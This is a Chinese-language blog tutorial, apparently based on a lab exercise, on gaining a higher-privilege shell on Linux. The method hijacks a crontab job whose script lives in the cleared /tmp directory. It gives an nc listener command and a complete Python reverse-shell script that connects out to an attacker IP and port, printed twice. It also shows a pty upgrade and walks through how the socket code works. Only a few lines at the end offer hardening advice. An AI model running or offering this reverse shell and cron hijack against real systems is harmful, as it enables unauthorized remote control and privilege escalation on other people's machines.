利用 crontab 反弹 shell

正文索引 [隐藏]

shell 反弹

1. 简述

啥是个 shell 反弹嘞?

某些情况下目标机器比较坑爹,有可能在局域网内部没有公网 ip,有可能 ip 是个浮动的,这种情况下是没办法用攻击机进行连接的。

那么反弹 shell 的思路就是给目标机器植入脚本,在攻击展开端口,相当于把攻击机当作服务器,使目标机器连接入攻击端,攻击者能都进一步控制目标机器。

哦对了,这个操作还可以用来越权,今天举的例子就利用 crontab 执行恶意脚本从而达到取得其他账号权限的操作。

2. 利用 crontab 反弹 shell

crontab 这个东西是 linux 中的计划任务工具,类似于 windows 中的计划任务,有趣的一点是,当crontab 所需要的执行文件不存在的时候,crontab 不会自动删除执行任务,而等到执行文件再次出现的时候,crontab 又会铁憨憨继续执行,而且不会对文件的内容进行比较。

那么,有什么用哪?嘿嘿,linux 根目录下有个 tmp 目录,这个目录用于存放临时文件,每次关机都会将这个目录清空,如果用户把 crontab 的执行文件放到这个目录下,哦哦哦,就会造成执行文件被删除的效果,那么这个时候,可以利用另一个低权限用户制造一个执行文件,执行文件的内容是连接攻击机,然后再将执行文件放入 tmp 目录,触发 crontab 的执行条件后,crontab 就会自动以高权限执行执行文件,然后,在攻击机的制定端口就能得到高权限用户的 shell 啦~

1562729138367

看看上图,jimmy 有一个计划任务,我们可以伪造一个 sekurity.py 然后连上攻击机,不过首先来看下攻击机的哪些端口空闲,使用

netstate -pantu

1562729291129

占用端口不多,那么随便选一个 6665 端口进行监听吧

nc -lvp 6665

然后编写我们的恶意 python 脚本

#!/usr/bin/python
import os, subprocess, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.118",  6665))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])

写好后命名为 sekurity.py 并给其他用户添加执行权限

1562729571279

(那个,上图中我名字写错了,写成 security.py 了,好半天执行不了,修改后就能成功执行了)

然后等一阵(具体要看 crontab 触发机制)来到我们的攻击机窗口看看是否监听成功:

1562729788682

如果想要优化一下使用体验,加上一句 python 就行:

import pty
pty.spawn('/bin/bash')

1562729735149

3. 总结

  1. crontab 要即使更新
  2. 不要向 tmp 目录乱塞东西
  3. python 真是个好东西 (手动滑稽)

附:使用 python 连接攻击机的代码简介

呐,这里简单介绍一下之前那个 python 代码是如何运行的,来,把前面的代码贴过来:

#!/usr/bin/python
import os, subprocess, socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.118",  6665))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])

核心:socket 模块

参考:https://gist.github.com/kevinkindom/108ffd675cb9253f8f71

这个模块就是 python 用于创建 socket 的强大工具,常见类型如下

1562730176890

创建 TCP Socket(默认):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

创建 UDP Socket:

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

编程思想

TCP 服务器

1、创建套接字,绑定套接字到本地IP与端口

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind()

2、开始监听链接

s.listen()

3、进入循环,不断接受客户端的链接请求

While True:
    s.accept()

4、接收客户端传来的数据,并且发送给对方发送数据

s.recv()
s.sendall()

5、传输完毕后,关闭套接字

s.close()

TCP 客户端

1、创建套接字并链接至远端地址

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect()

2、链接后发送数据和接收数据

s.sendall()
s.recv()

3、传输完毕后,关闭套接字

s.close()

常用功能函数

服务器端

1562730305845

客户端

1562730323229

公共

1562730352186

辅助:os.dup2()

使用这个方法的目的就是将本地的标准输出流、标准错误输出流送入服务器

格式:

os.dup2(fd, fd2);
  • fd -- 要被复制的文件描述符
  • fd2 -- 复制的文件描述符

辅助:subprocess.call()

这个好理解,就是打开一个子进程执行 shell,想深入了解可自行 Google python 多进程